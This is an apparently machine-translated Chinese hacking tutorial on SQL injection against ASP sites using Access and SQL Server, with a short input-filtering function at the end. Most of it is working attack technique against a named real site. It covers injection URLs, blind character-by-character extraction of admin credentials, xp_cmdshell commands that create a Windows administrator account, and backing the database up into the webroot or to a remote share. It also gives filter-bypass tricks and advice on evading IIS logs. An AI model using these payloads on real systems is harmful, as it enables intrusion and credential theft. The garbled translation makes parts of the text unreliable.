Author: NB Union - Kotake
Speech
With the development of B / S mode application development, programmers who use this model to write applications have become more and more. However, due to the high entry threshold in this industry, the level and experience of programmers are uneven. A considerable part of the programmer does not judge the legality of the user input data when writing code, so that the application has security hazards. Users can submit a database query code, obtain certain data he wants, based on the result returned by the program, which is the so-called SQL INJECTION, that is, SQL injection.
SQL injection is accessed from normal WWW port, and the surface looks with the general web page access, there is no difference in web page access, so the current market firewall will not issue an alert to SQL injection. If the administrator does not view the habit of IIS logs, it may be invaded Will not find out for a long time.
However, the technique of SQL injection is quite flexible, and there will be many unexpected situations when injected. Can you analyze according to the specific situation, construct a smart SQL statement, so that the desired data is successfully obtained, it is the fundamental difference between the master and the "rookie".
According to national conditions, domestic websites use ASP Access or SQLServer to account for more than 70%, PHP MySQ accounts for L20%, and there are less than 10% of others. In this article, we will introduce the approach, advanced to advanced explanation of ASP injection methods and techniques, and PHP injected article written by another friend of the NB Alliance Zwell, I hope to use the security workers and programmers. For friends who know the ASP injection, please do not skip the entry, because some people have misunderstandings about the basic judgment methods of the injected. Are you ready? Let's go ...
Entry
If you haven't tried SQL injection, then the first step will first put the IE menu => tool => Internet option => Advanced => Show friendly HTTP error message to go out. Otherwise, no matter what the server returns, IE is only displayed as an HTTP 500 server error, and more prompt information cannot be obtained.
Section 1, SQL injection principle
Here we start starting from a website www.19cn.com (Note: This article has been approved before the discipline of the station, most of which is real data).
On the homepage of the website, there are "IE can't open a new window" link, the address is: http://www.19cn.com/showdetail.asp? Id = 49, we add this address after this address Single number ', the server will return the following error tips:
Microsoft Jet Database Engine Error '80040e14'
String syntax errors in Query Expressions' ID = 49 ''.
/SHOWDETAIL.ASP, line 8
From this error prompt we can see the following:
1. The website is used by the Access database, connects the database via the JET engine, not through the ODBC.
2. The program does not determine whether the data submitted by the client meets the program requirements.
3. This SQL statement is inquired with a field of ID.
From the above example we can know that the principle of SQL injection is to submit a special code from the client, resulting in the collection of procedures and servers, giving the information you want to get.
In the second section, it is said that some people will feel that there are some people who can do it: I am not very simple to test, this is not very simple?
In fact, this is not the best way, why?
First, it is not necessarily that the IIS of each server is returned to the client. If the program is added to the client, if the program is added, SQL injection is not successful, but the server will also report an error, the specific prompt information is Error on the server when processing the URL. Please contact the system administrator.
Second, some of the programmers who have a little understanding of SQL injection is considered to be safe, this situation is not a few, if you use a single quotation test, it is not an injection point.
So, what kind of test method is more accurate? The answer is as follows:
1 http://www.19cn.com/showdetail.asp?id=49
2 http://www.19cn.com/showdetail.asp?id=49 ;; And 1 = 1
3 http://www.19cn.com/showdetail.asp?id=49 ;; And 1 = 2
This is the classic 1 = 1, 1 = 2 test method, how to judge? See the results returned above three URLs: You can inject the performance:
1 Normal display (this is inevitable, otherwise it is wrong)
2 Normal display, content is basically the same as 1
3 prompts BOF or EOF (when the program does not do any judgment), or the record is not found (judge RS.eof), or the display is empty (the program adds an ON Error Resume next)
It is easier to judge if it cannot be injected, and 1 is also normal display, 2 and 3 generally have a program defined error message, or an error occurred during the prompt type.
Of course, this is just the incoming parameter is the judgment method used by the digital type. When actual application, there will be character types and search type parameters, I will analyze the "SQL Injecting General Steps" in the intermediate level.
In the third quarter, judgment the database type and injection method
Different database functions, the injection method is different, so before the injection, we must also judge the type of database. General ASP's most frequently matched databases are ACCESS and SQLSERVER, one of more than 99% of websites online.
How to let the program tell you what database it uses? come and see:
SQLServer has some system variables, if the server IIS prompt is not closed, and SQL Server returns an error prompt, you can get directly from the error information, the method is as follows:
http://www.19cn.com/showdetail.asp?id=49 ;; And user> 0
This sentence is very simple, but it contains the essence of SQLServer's unique injection method. I also found this efficient susceptibility in a unintentional test. Let me see its meaning: First, the front statement is normal, focus on and user> 0, we know, User is a built-in variable of SQL Server, which is the user name currently connected, type NVARCHAR . Take a nVarchar value to the intra 0 comparison, the system will try to turn nvarchar's value to int type. Of course, the process will definitely errors in the process, and SQL Server error prompt is: convert the nVARCHAR value "ABC" conversion data type When INT's column, the syntax error occurs, huh, ABC is the value of the variable user, so that the power of the database is not scrapped. In the subsequent space, everyone will see a lot of statements with this method. By the way, it is well known that SQLServer's user sa is a role of equivominstrators permissions, got SA permissions, almost certainly gets the host's Administrator. The above method can be very convenient to test whether it is logged in with sa, if it is the SA login, the prompt is a column that converts "DBO" into an int to errors, not "SA".
If the server IIS is not allowed to return an error prompt, how do you determine the database type? We can start from Access and SQL Server and distinguish, Access and Sql Server have its own system table, such as storing all objects in the database, Access is in system table [msysObjects], but read the table in the web environment " No permissions, "SQL Server is in the table [sysObjects], which can be read normally in a web environment.
In the case where you can inject, use the following statement:
http://www.19cn.com/showdetail.asp?id=49 ;; And (select count (*) from sysobjects> 0
http://www.19cn.com/showdetail.asp?id=49 ;; And (select count (*) from msysobjects> 0
If the database is SQL Server, the page of the first URL is approximately the same as the original page http://www.19cn.com/showdetail.asp?id=49; and the second URL, because the table MsysObjects is not found, Will prompt an error, even if the program has fault tolerance, the page is completely different from the original page.
If the database uses Access, then the situation is different, the page of the first URL is completely different from the original page; the second URL, depending on whether the database settings are allowed to read the system table, generally not allowed Therefore, it is also completely different from the original website. In most cases, use the first URL to know the database type used by the system, and the second URL only uses authentication when IIS error prompt.
Advancement
In the entry, we learned the judgment method of SQL injection, but truly to get the confidential content of the website, it is not enough. Next, we continue to learn how to get the content you want to get from the database, first, let's take a look at the general steps in SQL injection:
The first section, the general step of SQL injection
First, judge the environment, find an injection point, determine the database type, which is already told in the entry. Secondly, according to the type of injection parameter, the original appearance of the SQL statement is reconstructed in the mind, and the parameter type is mainly divided into the following three:
(A) ID = 49 These injected parameters are digital, SQL statements, is as follows: SELECT * FROM table name Where field = 49 Injection parameters is ID = 49 and [Query Condition], that is, the generated statement: SELECT * From table name where field = 49 and [query condition]
(B) Class = Continuous argument This type of injection is a character type, and the SQL statement is generally approrated: SELECT * FROM table name where FROM table name WHERE field = 'consecutive' injection parameter is class = series' and [query criteria] and '' = ', That is, generating statement: SELECT * FROM table name Where field =' series of series' and "query conditions] and '' = ''
(C) When searching, there is no filter parameters, such as keyword = keyword, SQL statement original is as follows: SELECT * FROM Table Name Where FROM Table Name The parameter of the WHERE Field Like '% Injects is Keyword =' AND [Query Condition] and ' % 25 '=', that is, the generating statement: SELECT * FROM table name Where field Like '%' and [query conditions] and '%' = '%'
Next, will the query condition? * Huaqi QL statement, guess the table name, for example:
ID = 49 and (select count (*) from admin)> = 0
If the page is the same as ID = 49, the additional condition is established, that is, the table admin exists, that is, it does not exist (please keep this method). So loop until you guessed the name.
After guess, replace count (*) into a count (field name), and specifically depends the word name.
Some people will say: There are some casual components here. If the name is very complicated, it will not have to play. It is very pair, this world does not exist 100% successful hacker technology, flies do not seamless eggs, no matter how many technologies, a few hackers, because others are not strict or not, the user is not confidential. I have to get it.
I have a little bit, saying it back, for SQL Server library, there is a way to let the program tell us the name and field name, we will introduce in the advanced article.
Finally, after the table name and column name are successful, use the SQL statement to get the value of the field, and the most common method is described below. Although this method is very slow, it must be feasible Methods.
We will give an example, known in the form of the username field, first of all, we take the first record, test length:
http://www.19cn.com/showdetail.asp?id=49 ;; And (select top 1 len (username) from admin> 0
First, if the TOP 1 膗 sername length is greater than 0, the condition is established; then> 1,> 2,> 3 this test, until the conditions are not established, such as> 7 is established,> 8 is not established, that is, Len (username ) = 8 Of course, no one will be stupid from 0, 1, 2, 3 one test, how to see each play. After obtaining the length of the username, the nth character is intercepted with MID (username, n, 1), and then ASC (MID (UserName, N, 1)) Gets the ASCII code, such as:
ID = 49 and (SELECT TOP 1 ASC (MID (username, 1, 1)) from admin)> 0
It is also the ASCII code of the first character using the step-by-step range, pay attention to the English and digital ASCII code between 1-128, can be used to speed up the guess, if the program test is written, the efficiency will have extreme Large improvement.
In the second section, SQL injection common functions
People with SQL language bases, the success rate is much higher than those who are not familiar during SQL injection. We must improve our SQL level, especially some common functions and orders.
Access: ASC (Character) SQLServer: Unicode (Character)
Role: Return to a character's ASCII code
Access: chr (Digital) SQLServer: nchar (number)
Role: In contrast to ASC, return characters according to ASCII code
Access: MID (String, N, L) SQLServer: Substring (String, N, L)
Role: Returns the string from the N-character starting a sub-string of the length L, ie the string between N to N L
Access: ABC (Digital) SQLServer: ABC (Digital)
Role: Return to the absolute value of the number (it will be used when guess the Chinese characters)
Access: a Between B and C SQLServer: a betWeen B and C
Role: Judgment a bound between B and C
Section III, Chinese processing method
In the injection of the Chinese characters are common things, some people want to fight back in the Chinese characters. In fact, as long as you know Chinese coding, "Chinese phobia" can quickly overcome.
Let's talk about a little common sense:
In Access, the Chinese ASCII code may have a negative number. After removing the negative, the absolute value is taken with ABS (), the Chinese characters are unchanged.
In SQL Server, Chinese ASCII is positive, but since it is a two-bit encoding of Unicode, the ASCII code cannot be obtained using a function ascii (), and the function unicode () must be used to return the corresponding Chinese character with the nchar function.
After understanding the two points above, if you think Chinese guess is actually almost the same as English? In addition to the function of use, it is important to pay attention to the specification, the method is nothing wrong.
High-level articles
After reading the entry and advanced articles, it is no problem to crack the general website. But if you can't touch the name of the table name, or how the author is filtered with some special characters, how to improve the success rate of injection? How to improve the guess efficiency? Let everyone look down in the high-end.
In the first section, use the system table to inject the SQLServer database
SQLServer is a powerful database system that has a close contact with the operating system, which brings great convenience to developers, but on the other hand, it also provides a springboard for the injection, let's take a look at several Specific example: 1 http://site/url.asp? Id = 1; exec master..xp_cmdshell "Net user name password / add" -
Sequel; in SQL Server, the two sentences are separated, - indicates that the following statement is a comment, so this statement will be divided into two sentences in SQL Server, first, SELECT Id = 1 record, then execute storage Process XP_cmdshell, this stored procedure is used to call the system command, so use the NET command to create a new user name name Name, password is the Windows account number, then:
2 http: //site/url.asp? Id = 1; exec master "NET localgroup name administrators / add" -
Join the new account Name to the administrator group, don't have to be used, you have already got the system's highest permission! Of course, this method is only applicable to the case where the database is connected to the SA, otherwise, there is no permission to call XP_cmdshell.
3 http://site/url.asp? Id = 1 ;; and db_name ()> 0
There is a similar example and user> 0, and the role is to obtain the connection user name, DB_NAME () is another system variable, returning is the connected database name.
4 http: //site/url.asp? Id = 1; Backup Database Database name to disk = 'c: /inetpub/wwroot/1.db'; -
This is a quite a trick, from 3 database name, plus some IIS error exposed absolute path, back up the database back to the web directory, then? * TTP puts the entire database over the entire download All administrators and user passwords are unrelenting! When you don't know the absolute path, you can also back up the method of the network address (such as //202.96.xx.xx/share/1.db), but the success rate is not high.
5 http://site/url.asp? Id = 1 ;; and (select top 1 name from sysobjects where xtype = 'u' and status> 0)> 0
As mentioned earlier, sysObjects is the system table of SQL Server, stores all the table names, views, constraints, and other objects, Xtype = 'u' and status> 0, indicating the table name created by the user, the above statement will be the first table. The name is taken out, and the 0 is relatively small, so that the error message is exposed to the table name. Second, how to get the third table name? Or leave our smart readers think.
6 http://site/url.asp? Id = 1 ;; and (select top 1 col_name (Object_ID ('Name'), 1) from sysobjects> 0
After getting the table name from 5, use Object_ID ('Name') to get the internal ID, col_name (Name ID, 1) of the table name, represent the first field name of the table, change 1 to 2, 3, 4 ... You can get the field name inside the guess table one by one.
The above 6 points is that I have studied SQL Server injection of hardcore crystals, it can be seen that the degree of understanding of SQL Server directly affects success rate and guessing speed. After I study SQLServer injection, I also got a lot of improvement in development, huh, maybe safety and development was completed. In the second section, bypass the program limit continues to inject
In the entry, there are many people like to use the 'number test into the vulnerability, so there are many people who use the filter' to "prevent" to inject vulnerabilities, which may block some entry of the entry, but familiar with SQL injection People can still use the related functions to achieve the purpose of bypassing the program.
In the "SQL Injection" section, the statements I have use have been optimized, so that they do not include single quotes; in the "Using the System Table Inject into the SQLServer Database", some statements contain a 'number, We will give an example to see how to transform these statements:
Simple, like WHERE XTYPE = 'u', the ASCII code corresponding to the character u is 85, so you can use where xtype = char (85) instead; if the character is Chinese, such as where name = 'user', you can use where name = Nchar (29992) NCHAR (25143) instead.
Section III, experience summary
1. Some people will filter these keywords such as select, update, delete, but forget to distinguish case sensation, so everyone can try it with SELECT.
2. When you can't guess the field name, you may wish to look at the login form on the website. Generally, the field name is the same name with the form of the form.
3. Special Note: The number incorporated in the address bar is interpreted as space, the% 2B is interpreted as number, and the% 25 is explained to the% number, and the specific introduction can be referred to URLENCode.
4. When injecting with GET method, IIS will record all your submission strings, do not record the POST method, so you can use the POST's URL to try not to use GET.
5. Instest the use of ASCII checking method, SQL Server can also use this method, only the difference between the two can only be exposed, but if the value of the error information can be exposed, that efficiency and Accuracy will have great improvements.
Defense method
SQL injection vulnerabilities can be described as "a thousand miles of embankments, collapsed in the ant hole", which is extremely common online, usually because the programmer does not understand, or the program is not strict, or a parameter is forgotten. Here, I will give you a function, instead of the Request function in the ASP, can inject SAY NO to all SQL, the function is as follows:
Function SafeRequest (PARANAME, PARATYPE) '--- Incoming Parameters ---' PARANAME: Parameter Name - Characteristic 'Paratype: Parameter Type - Digital (1 means the above parameters are numbers, 0 means the above parameters are character)
Dim ParavalueParavalue = Request (ParaName) If ParaType = 1 thenIf not isNumeric (Paravalue) thenResponse.write "Parameters" & ParaName & "must be numeric!" Response.endEnd ifElseParavalue = replace (Paravalue, " '", "' '" ) End ifsaferequest = ParavalueEnd Function article is over, whether you are security personnel, technical enthusiasts are still programmers, I hope this article can help you. If you have any questions or want to discuss related questions, welcome to www.54nb.com, thank you!
